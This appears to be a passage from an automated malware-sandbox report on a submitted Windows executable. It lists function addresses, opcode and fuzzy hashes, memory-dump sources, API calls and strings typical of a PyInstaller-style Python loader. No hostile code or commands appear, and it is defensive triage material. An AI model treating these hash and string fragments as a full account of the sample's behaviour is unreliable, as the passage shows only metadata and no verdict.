                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID:
                                                    • String ID:
                                                    • API String ID:
                                                    • Opcode ID: b6de572fc7ea0867e481f021e98a3cee959a95ba6dd1d6718a656c0f39a4e480
                                                    • Instruction ID: a3c255402f58055ede9a53a0b66f6107b08aa322a4d8f4440dd560bfe10e86d6
                                                    • Opcode Fuzzy Hash: b6de572fc7ea0867e481f021e98a3cee959a95ba6dd1d6718a656c0f39a4e480
                                                    • Instruction Fuzzy Hash: ECC1A6722142F14FD289EB29E46957A73E1F798309BD8402AEB8747BC6CE3CE415DB50
                                                    Function 00007FF6399C1F30 Relevance: .2, Instructions: 241COMMON
                                                    Download Yara Rule
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID:
                                                    • String ID:
                                                    • API String ID:
                                                    • Opcode ID: 54646038064d7a6353eabae39e6447674b1691c16f4822fec46df2a19c6da082
                                                    • Instruction ID: 19c8647049d010f84af7bc8775fe090cf6696fe55bc144058068bdcc1d758097
                                                    • Opcode Fuzzy Hash: 54646038064d7a6353eabae39e6447674b1691c16f4822fec46df2a19c6da082
                                                    • Instruction Fuzzy Hash: CEB14D7290874585EB69CF29C85413D3BA2E749B48F684136CB4E8B3EACF39D441EF15
                                                    Function 00007FF6399CD880 Relevance: .2, Instructions: 198COMMON
                                                    Download Yara Rule
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID:
                                                    • String ID:
                                                    • API String ID:
                                                    • Opcode ID: c5cf27518f3756e107451e616d5c43acfc5497bdc9406be32d6656a2e3ee85f8
                                                    • Instruction ID: bf3ab05746187d1f6a9a2f35663ba9554fc247eece495475fcdacb935afa85bf
                                                    • Opcode Fuzzy Hash: c5cf27518f3756e107451e616d5c43acfc5497bdc9406be32d6656a2e3ee85f8
                                                    • Instruction Fuzzy Hash: 0C81B273E0C68186EB74CF19984036A6A92FB89794F584235DA8D87BDEDF3DE5409F00
                                                    Function 00007FF6399D5728 Relevance: .2, Instructions: 183COMMON
                                                    Download Yara Rule
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: _invalid_parameter_noinfo
                                                    • String ID:
                                                    • API String ID: 3215553584-0
                                                    • Opcode ID: d2b2a23e656420a48cffdcfc29ff0550bdd13d7615b538a3eaf25f4462ec28d4
                                                    • Instruction ID: 4df124fe89de79992bc048d7f840a4933b05a55dcbc010a57943210b8fd6000a
                                                    • Opcode Fuzzy Hash: d2b2a23e656420a48cffdcfc29ff0550bdd13d7615b538a3eaf25f4462ec28d4
                                                    • Instruction Fuzzy Hash: 6A61C422E0C28286FB648E28849067D6683AF50771F5C4639D65DC7BDEDE7DE800AF02
                                                    Function 00007FF6399C0C64 Relevance: .1, Instructions: 146COMMON
                                                    Download Yara Rule
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID:
                                                    • String ID:
                                                    • API String ID:
                                                    • Opcode ID: 68a3f5aab59b2fac328bd6ba34d5b1cd1fa94c6914f84dc4a79da3b9d8ff9a98
                                                    • Instruction ID: b7e95cb8629de25b5a47b9a21f11b615d2fc4501ba26038cd1550028ccc76943
                                                    • Opcode Fuzzy Hash: 68a3f5aab59b2fac328bd6ba34d5b1cd1fa94c6914f84dc4a79da3b9d8ff9a98
                                                    • Instruction Fuzzy Hash: 72518176E1865186EB248F29C44033937A2EB54B68F294131CE4D977DACF3AE843DF40
                                                    Function 00007FF6399C1484 Relevance: .1, Instructions: 146COMMON
                                                    Download Yara Rule
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID:
                                                    • String ID:
                                                    • API String ID:
                                                    • Opcode ID: 8e69dfdcc94a0aa650623f7423aa354004c1f2fa01d5c1268249020d4c21f447
                                                    • Instruction ID: 8fc5c39fbdf268be2be3c7ce4aaba248350051b08e93e6b6d7e72a9432e0f103
                                                    • Opcode Fuzzy Hash: 8e69dfdcc94a0aa650623f7423aa354004c1f2fa01d5c1268249020d4c21f447
                                                    • Instruction Fuzzy Hash: 78516276E1865186E7348F29C44423A33A2EB49B58F2C4131DA4D977EACF3AE843DF44
                                                    Function 00007FF6399C1074 Relevance: .1, Instructions: 146COMMON
                                                    Download Yara Rule
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID:
                                                    • String ID:
                                                    • API String ID:
                                                    • Opcode ID: 27099d1c67046ba5536a5c52bb1b19252402c8bb4a5167aa336477e7b6d5f807
                                                    • Instruction ID: 6024fc745160ad81242dd162c43b452f453d205c5ebb7e070329cf5d1ebce17a
                                                    • Opcode Fuzzy Hash: 27099d1c67046ba5536a5c52bb1b19252402c8bb4a5167aa336477e7b6d5f807
                                                    • Instruction Fuzzy Hash: EF515376E1865186E7348F29C44423A37A2EB45B68F284131CE4D977DACF7AE843DF44
                                                    Function 00007FF6399C0A60 Relevance: .1, Instructions: 145COMMON
                                                    Download Yara Rule
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID:
                                                    • String ID:
                                                    • API String ID:
                                                    • Opcode ID: 3943df286285c50b07f09d339b53caaa0afa34ddfac4fad96d8a3f7ffd6ad23b
                                                    • Instruction ID: 847f84a3c5ee28f6ce6734fc923c2273e05c13f3562adc9fb130abd55ab4512e
                                                    • Opcode Fuzzy Hash: 3943df286285c50b07f09d339b53caaa0afa34ddfac4fad96d8a3f7ffd6ad23b
                                                    • Instruction Fuzzy Hash: C6516E76E1865586EB248F29C44423937A2EB48B58F2E4131CE4D977DADF3AE843DF40
                                                    Function 00007FF6399C1280 Relevance: .1, Instructions: 145COMMON
                                                    Download Yara Rule
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID:
                                                    • String ID:
                                                    • API String ID:
                                                    • Opcode ID: e734bc54909bdf7d9c6fd1772be64da5dc64d4f5bf3044a39ac3ba7850561882
                                                    • Instruction ID: 296b30af30bcf5c053d0d8c0f6638d2124dd40ced90d100902ce302da074a7f9
                                                    • Opcode Fuzzy Hash: e734bc54909bdf7d9c6fd1772be64da5dc64d4f5bf3044a39ac3ba7850561882
                                                    • Instruction Fuzzy Hash: 0C517136E1865186E7348F29C84023A27A2EB49B5CF284131CE4D977DECF3AE852DF44
                                                    Function 00007FF6399C0E70 Relevance: .1, Instructions: 145COMMON
                                                    Download Yara Rule
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID:
                                                    • String ID:
                                                    • API String ID:
                                                    • Opcode ID: dc981bf603441a130e1c6ba5e96f77be0c3c60e19ec03e3d560a09712d731568
                                                    • Instruction ID: 8f3c3e4e04445c9f80ca4c9bcb1666354382323ee1b6a988d750c1d00ea96373
                                                    • Opcode Fuzzy Hash: dc981bf603441a130e1c6ba5e96f77be0c3c60e19ec03e3d560a09712d731568
                                                    • Instruction Fuzzy Hash: 2A517036E1865586EB348F29C44023D27A2EB54B58F2D4131CE4D977DACF3AE892DF44
                                                    Function 00007FF6399C5040 Relevance: .1, Instructions: 138COMMON
                                                    Download Yara Rule
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID:
                                                    • String ID:
                                                    • API String ID:
                                                    • Opcode ID: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
                                                    • Instruction ID: d32db26ed9fdb5f1926a93cb36da260ce2b1ffb04b7e52570186cc67cab64882
                                                    • Opcode Fuzzy Hash: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
                                                    • Instruction Fuzzy Hash: E341B452D4D74A05F9558D180D186B42682AF63BA0D6C52B0DDADD33CBCD0DB9C6AF42
                                                    Function 00007FF6399C91B0 Relevance: .1, Instructions: 126COMMON
                                                    Download Yara Rule
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: ErrorFreeHeapLast
                                                    • String ID:
                                                    • API String ID: 485612231-0
                                                    • Opcode ID: 8d7eb27f456b44a91f9c68f162ea9965681a4a0d7ad24d9c24e3bfc258020ebf
                                                    • Instruction ID: cff387004381fe4843e98c8d060c1f0b87243a992996df4b5ed95b495450b2f7
                                                    • Opcode Fuzzy Hash: 8d7eb27f456b44a91f9c68f162ea9965681a4a0d7ad24d9c24e3bfc258020ebf
                                                    • Instruction Fuzzy Hash: 58410562B18A5486EF08CF6AD95416973A6BB48FD0B0DA032DE0DD7B9DDE3CC8419B00
                                                    Function 00007FF6399C73F4 Relevance: .1, Instructions: 98COMMON
                                                    Download Yara Rule
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID:
                                                    • String ID:
                                                    • API String ID:
                                                    • Opcode ID: d47bd74fb6a019277da3c6b3819bfc69269ba7720235d09fb044e88388ffaf66
                                                    • Instruction ID: d9cd19069d050446c512217c83d717a9c2bb35042bfafd3113fda6e0ec3b0e41
                                                    • Opcode Fuzzy Hash: d47bd74fb6a019277da3c6b3819bfc69269ba7720235d09fb044e88388ffaf66
                                                    • Instruction Fuzzy Hash: 8B318772F18B8241E7149F256C8117E6AD6AB88BD0F184238EA5D97BDADF3CD4115F04
                                                    Function 00007FF6399D8880 Relevance: .0, Instructions: 32COMMON
                                                    Download Yara Rule
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID:
                                                    • String ID:
                                                    • API String ID:
                                                    • Opcode ID: b45f31a2a70b9ba878c3a12fffa6905b3575b51dadbfc3a0cbe7f45b87496cea
                                                    • Instruction ID: 503771f4d9009fe78ae1e18da0802de45acab4af884a2882f9a0acbd72a2b40c
                                                    • Opcode Fuzzy Hash: b45f31a2a70b9ba878c3a12fffa6905b3575b51dadbfc3a0cbe7f45b87496cea
                                                    • Instruction Fuzzy Hash: EEF06271B182958EEBA49F2DA84263977D1F708385F848039F68EC3F59DA7D90609F14
                                                    Function 00007FF6399BC62C Relevance: .0, Instructions: 2COMMON
                                                    Download Yara Rule
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID:
                                                    • String ID:
                                                    • API String ID:
                                                    • Opcode ID: 84fb9023dc3cd78644239ae856a17877a0dfc2a7c85af1c48b0789cc2cde0ccb
                                                    • Instruction ID: adb81d2988691bc508207cdf257a00c8112868c2e4eea3a4274c1a3f8f113304
                                                    • Opcode Fuzzy Hash: 84fb9023dc3cd78644239ae856a17877a0dfc2a7c85af1c48b0789cc2cde0ccb
                                                    • Instruction Fuzzy Hash: 44A00122918827E0E6488F48A8905252232FB61310B481039D10D813EAAF2CA400AA10
                                                    Function 00007FF6399B50B0 Relevance: 157.9, APIs: 44, Strings: 46, Instructions: 364libraryloaderCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetProcAddress.KERNEL32(?,00007FF6399B5C57,?,00007FF6399B308E), ref: 00007FF6399B50C0
                                                    • GetProcAddress.KERNEL32(?,00007FF6399B5C57,?,00007FF6399B308E), ref: 00007FF6399B5101
                                                    • GetProcAddress.KERNEL32(?,00007FF6399B5C57,?,00007FF6399B308E), ref: 00007FF6399B5126
                                                    • GetProcAddress.KERNEL32(?,00007FF6399B5C57,?,00007FF6399B308E), ref: 00007FF6399B514B
                                                    • GetProcAddress.KERNEL32(?,00007FF6399B5C57,?,00007FF6399B308E), ref: 00007FF6399B5173
                                                    • GetProcAddress.KERNEL32(?,00007FF6399B5C57,?,00007FF6399B308E), ref: 00007FF6399B519B
                                                    • GetProcAddress.KERNEL32(?,00007FF6399B5C57,?,00007FF6399B308E), ref: 00007FF6399B51C3
                                                    • GetProcAddress.KERNEL32(?,00007FF6399B5C57,?,00007FF6399B308E), ref: 00007FF6399B51EB
                                                    • GetProcAddress.KERNEL32(?,00007FF6399B5C57,?,00007FF6399B308E), ref: 00007FF6399B5213
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: AddressProc
                                                    • String ID: Failed to get address for %hs$GetProcAddress$PyConfig_Clear$PyConfig_InitIsolatedConfig$PyConfig_Read$PyConfig_SetBytesString$PyConfig_SetString$PyConfig_SetWideStringList$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyList_Append$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyPreConfig_InitIsolatedConfig$PyRun_SimpleStringFlags$PyStatus_Exception$PySys_GetObject$PySys_SetObject$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_DecRef$Py_DecodeLocale$Py_ExitStatusException$Py_Finalize$Py_InitializeFromConfig$Py_IsInitialized$Py_PreInitialize
                                                    • API String ID: 190572456-2007157414
                                                    • Opcode ID: 3c804ccaf4812c993b4970aca99c844c8aa25bcf6244ab31ff714926eb913965
                                                    • Instruction ID: 70dda718620aef1974c9210a040525128a2a1460ab85d1c0c6b7953fb0bc9cb7
                                                    • Opcode Fuzzy Hash: 3c804ccaf4812c993b4970aca99c844c8aa25bcf6244ab31ff714926eb913965
                                                    • Instruction Fuzzy Hash: B112C06490EB8391FA159F05A8901B423B3EF19795B9C1435C80E927EEFF3CB548BE81
                                                    Function 00007FF6399B77D0 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 115COMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00007FF6399B86B0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF6399B3FA4,00000000,00007FF6399B1925), ref: 00007FF6399B86E9
                                                    • ExpandEnvironmentStringsW.KERNEL32(?,00007FF6399B7C97,?,?,FFFFFFFF,00007FF6399B3834), ref: 00007FF6399B782C
                                                      • Part of subcall function 00007FF6399B26C0: MessageBoxW.USER32 ref: 00007FF6399B2736
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
                                                    • String ID: %.*s$CreateDirectory$LOADER: failed to convert runtime-tmpdir to a wide string.$LOADER: failed to create runtime-tmpdir path %ls!$LOADER: failed to expand environment variables in the runtime-tmpdir.$LOADER: failed to obtain the absolute path of the runtime-tmpdir.$LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!$\
                                                    • API String ID: 1662231829-930877121
